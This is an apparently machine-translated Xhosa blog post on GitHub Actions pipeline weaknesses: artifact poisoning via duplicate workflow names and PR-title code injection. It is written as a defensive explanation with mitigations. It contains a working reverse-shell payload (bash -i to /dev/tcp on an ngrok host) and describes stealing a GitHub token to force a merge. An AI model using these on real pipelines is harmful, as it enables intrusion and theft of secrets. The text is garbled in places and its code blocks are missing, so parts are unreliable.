Kwizithuba zangaphambili (jonga Ityhefu Engangqalanga Pipeline Ukuphunyezwa kwe-I-PPE kwaye Ityhefu Pipeline I-PPE yokuphunyezwa , sijongane ngokusisiseko nePPE (Enetyhefu Pipeline Ukuphunyezwa): sibone indlela esebenza ngayo, iziphumo zayo, ukuxhaphaza okuthile kunye neendlela zokuzikhusela kuyo.
Le posi ingena nzulu kwezinye CI/CD pipeline ubuthathaka obufana neArtifact Poisoning kunye neCode Injection.
Ukuze sikwenze oku, siza kuyisekela ngandlela ithile kwi-PPE ngoko masenze isishwankathelo esifutshane sento esiyibonileyo malunga ne-PPE.
Umsebenzi wangaphambili kwi-PPE
Ukushwankathela, siqale ngeGitHub esisiseko pipeline ukwakha nokuvavanya ikhowudi enikelweyo nge pull requestNgaphandle koko, ichaza ezinye iitshekhi eziya kuthi, ukuba ziyafezekiswa, zidibanise ikhowudi kwisebe eliphambili. Sibize oku ngokuthi Imeko #1.
Kwisithuba sethu sangaphambili, sibonise indlela esi siseko pipeline bekunjalo zisengozini kwi-D-PPE kunye ne-I-PPE.
Sikwazile uku lungisa i-D-PPE by ukuguqula isiganeko sokuqala ku tsala_isicelo ukuba tsala_isicelo_esijoliswe kuso, Ukwenza pipeline ikhuselekile kwi-D-PPENjengesikhumbuzo, pipelines eqaliswe kwisiganeko se-pull_request_target iya kuphumeza isiseko pipeline ikhowudi, hayi pipeline ikhowudi equlethwe kwi pull request.
Sibize oku ngokuthi Imeko #2.
Ngenxa yolu tshintsho, sibonise ukuba Imeko #2 yayisesichengeni se-I-PPE.
Ukuze silungise le nto, sagqiba kwelokuba ukwahlulahlula pipeline zibe zimbini:
- 1yokuQala pipeline (Yakha i-CI) jonga ikhowudi ye-PR (ukuyakha), yenza ulwakhiwo kwaye uvelise into yobugcisa.
- Eyesibini pipeline (I-CI yovavanyo) jonga ikhowudi yesiseko (ukuthintela ukuguqulwa kweskripthi segobolondo) kwaye usebenzise izikripthi zokuqala ngokuchasene ne-artifact.
- Ukuvumelanisa i-Test CI pipeline ukuqhuba EMVA kwe-Build CI pipeline, siza kusebenzisa usebenziso_lomsebenzi ibangela.
Sibize oku ngokuthi Imeko #3.
Masifumane ikhowudi yazo zombini pipelinengokwezi nguqulelo...
1st pipeline (Yakha i-CI):
2nd pipeline (I-CI yoVavanyo):
Ityhefu yezinto ezenziwe ngabantu
Ngokwesi sichazi-magama esingentla CI/CD pipelines:
- pipeline Yakha i-CI is Khu selekile kubo bobabini I-D-PPE (ngenxa ye tsala_isicelo_esijoliswe kuso) Kunye I-PPE (kuba ayisasebenzi iskripthi segobolondo).
- pipeline I-CI yovavanyo kwakhona Khu selekile kubo bobabini I-D-PPE (ngenxa ye usebenziso_lomsebenzi) Kunye I-PPE (kuba ijonga ikhowudi yesiseko ukuze ifumane iskripthi sokuqala segobolondo)
Masingene nzulu kwesi “sisombululo”.
Pipeline I-CI yovavanyo ikhuphela le nto yenziweyo njengefayile ye-zip.
Nje ukuba ivuliwe, isebenzisa iskripthi seqokobhe "esikhuselekileyo". Kutheni ndisithi iskripthi seqokobhe "esikhuselekileyo"? Kuba kwinyathelo elidlulileyo, i pipeline ijonga ikhowudi "yesiseko", ukuze iskripthi sokuqala sibekwe kwifolda yendawo yokusebenza. Ke ngoko, xa pipeline iphumeza iskripthi segobolondo esiya kuyisebenzisa isebenzisa i-binary ekhutshelwe ngaphambili.
Emva koko, yintoni na inkinga ngale ndlela? Ingxaki izayo xa nawuphi na umsebenzisi "edala" into entsha pipeline.
Ukuba umsebenzisi uvula i-PR equlethe entsha pipeline, iGitHub iya kuyenza loo nto pipeline (xa sinikwe eminye imiqathango, njengoko sibonile ngaphambili isikhundla).
Ngenxa yoko, kuthekani ukuba umsebenzisi udala entsha pipeline enegama elifanayo nelithi Build CI? Ewe, kuyamangalisa, kodwa I-GitHub ikuvumela ukuba wenze ezimbini pipelines enegama elifanayo!!
Khumbula ukuba i-Test CI iya kuqalisa emva kwe-Build CI…
Okumangalisayo kukuba, kuba ngoku kukho ezimbini pipelineenegama elifanayo, i pipeline I-CI yovavanyo iza kuqhuba kabini: enye emva kweyokuqala pipeline kunye nezinye emva "kwento entsha" pipeline.
Umqhekezi angayisebenzisa njani le nto?
- Okokuqala, umsebenzisi onobubi unokutshintsha iskripthi seqokobhe ukuze athumele imfihlo kwiseva elawulwa yi-hacker.
- Okwesibini, entsha pipeline ibandakanya umgca wokukopa iskripthi segobolondo esiguquliweyo kwi-artifact → ukutyhefa i-artifact!!!
Xa umsebenzisi evula i-PR enale nguqu, "entsha" pipeline iza kuphunyezwa (ukulayisha into enobungozi) kunye ne-Deploy CI pipeline iza kuphunyezwa emva koko, nto leyo ekhokelela ekubeni iskripthi seqokobhe "esitshintshiweyo" sibhala ngaphezulu iskripthi seqokobhe "soqobo" esikwi pipeline indawo yokusebenza.
Le yinto esiyibizayo Ityhefu yezinto ezenziwe ngabantuokt ukukwazi ukutshintsha (ukuqhekeza) i pipeline ingqiqo ngokuguqulwa kwe-a pipeline i-artifact.
Inokwenzeka ulungiso icacile kakhulu: Ukuvula nje i-artifact kwifolda engaphantsi yendawo yokusebenza kuya kuthintela ukubhala ngaphezulu iskripthi se-"base" shell.
Inaliti Yekhowudi
Ngaphandle kwetyhefu yezinto ezenziwe ngezinto zakudala, ngaba ubona naluphi na olunye ubuthathaka kule khowudi ingentla?
Masihambe!!
Njengoko ubona kwikhowudi, pipeline Yakha i-CI yakha i-binary, ilayisha i-binary njenge pipeline into yokwenziwa kwaye, ngaphandle koko, ilayisha idatha eyongezelelweyo embalwa: Isihloko se-PR kunye ne-PR Id.
Ngoba? Kuba ukudibanisa i-PR, njengoko ubona ngezantsi, i-Test CI pipeline Ifuna i-PR id ukuze isebenzise i-GitHub REST API edibanisa i-PR.
I-CI yoVavanyo iyenza njani pipeline Ngaba uyayifumana loo PR ID? Ukwabelana ngolwazi kwiifayile zesicatshulwa (inxalenye ye pipeline artifact) yindlela eqhelekileyo yokwabelana ngolwazi phakathi pipelineKwaye yiloo nto kanye le pipelineBayazenza.
Ngokwenyani, kufuneka i-PR Id kuphela ukuze kudityaniswe i-PR, kodwa pipeline Umlawuli ugqibe kwelokuba i-Build CI ibandakanye nesihloko se-PR ukuze i-Test CI pipeline Ndingaprinta umyalezo wolwazi oqulethe zombini i-PR Id kunye neSihloko.
Isihloko se-PR sisoloko sidatha evela kumsebenzisi, kwaye ngenxa yoko, kufuneka sithathwe njengesingathembekanga.. Ke pipeline kufuneka baphathe ngaloo ndlela baze bathathe amanyathelo okuzikhusela.
Kule khowudi ingentla, singabona umyalezo othile uphinda isihloko se-PR. Ngumyalelo we-linux "we-echo".
Ngokutolikwa komtya, ukuba isihloko "sisihloko esingeyonyani", uGithub uvelisa ngaphakathi iskripthi esiqulethe
Kodwa, kuthekani ukuba isihloko se-PR singaba yinto efana nale:
Isihloko esibi” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Iskripthi siza kuba:
Oku kuphumela ekuvuleni igobolondo elichasene neseva elawulwa yi-hacker.
Elo qokobhe elingasemva lingasetyenziselwa ukufikelela kwi pipeline iimfihlo (khumbula ukuba i-Test CI isebenza kwimo yelungelo kuba iqaliswa yi-workflow_run ngoko ke inokufikelela kwiimfihlo).
Kodwa, yintoni enye enokwenziwa ngaloo reverse shell?
Jonga ikhowudi yoVavanyo lwe-CI:
Njengoko ubona kwi-Test CI pipeline, umyalelo we-curl merge usebenzisa i-GITHUB_PAT (echazwa njenge pipeline env var), ngoko ke umgijimi uqulethe i-GITHUB_PAT njengotshintsho lwendalo. Ngaphezu koko, ikwadala i-env var efunda i-PR ID.
Ngoko ke i-hacker kufuneka ikopishe umyalelo we-curl ize iwuncamathisele kwi-reverse shell, idibanise i-PR ngqo kwisebe elikhuselweyo.
Ukukhusela konke oku:
- Ku kuphepha ukufakelwa kwentambo ngedatha engathembekanga (isengozini isitofu ikhowudi) ngo ukuchaza pipeline ii-env vars endaweni yokuyisebenzisa ngqo kwimiyalelo ye-echo
Endaweni yokusebenzisa:
Sebenzisa oku:
- Nokuba nge-code injection exploit, umyalelo we-curl merge ngewungaphumelelanga ukuba ubuwenza ngokufanelekileyo ikhusele eyakho pull requests ngophononongo oluyimfuneko okanye imvume.
izigqibo
Kunzima ngandlela thile ukukhusela CI/CD pipelineuqwalaselo lwe-s kwaye ufumane pipelineayinazo iziphene.
Oku akuthethi ukuba CI/CD iinkqubo (njengeGitHub kweli tyala) zisengozini ngokwayo. CI/CD iinkqubo zibonelela ngeendlela zokukhusela kwizifo ezibuthathaka ... kodwa luxanduva lomlawuli ukuphumeza ezo zikhuselo.
Kodwa ... Awunakuyisombulula ingxaki ngaphandle kokuba uyazi ukuba ikhona!!!
Kakade ke, umphathi we-devops onobuchule kakhulu unokuba nazo zonke ezi zisongelo engqondweni aze akhusele ngokufanelekileyo CI/CD pipelines, kodwa, nangona kunjalo, kubaluleke kakhulu ukusebenzisa imveliso ukufumanisa zonke ezi ntlobo zobuthathaka. Kwaye ewe, ukwenza le nkqubo yokubamba ubuthathaka ibe ngokuzenzekelayo (umzekelo, ukusebenzisa iskena njengenxalenye CI/CD pipelines).
Le ndlela ingabizwa ngokuba “ISango lezoKhuseleko”:
- Yakha entsha pipeline (Isango loKhuseleko) ukuze lihlolwe CI/CD pipelineubuthathaka kwaye wenze enye i-CI pipelinekufuneka iqaliswe kuphela xa iSango loKhuseleko ligqityiwe ngempumelelo pipeline.
- Isango loKhuseleko pipelines iza kujonga CI/CD pipelineubuthathaka kunye,
- Ukuba ii-vulns zifunyenwe, ziya kusilela, ngoko ke, ezinye pipelines ayizukuphunyezwa.
- Ukuba akukho imvukuzane ifunyenweyo, pipeline uya kuphumelela kwaye omnye pipelines iza kuqhuba njengesiqhelo.
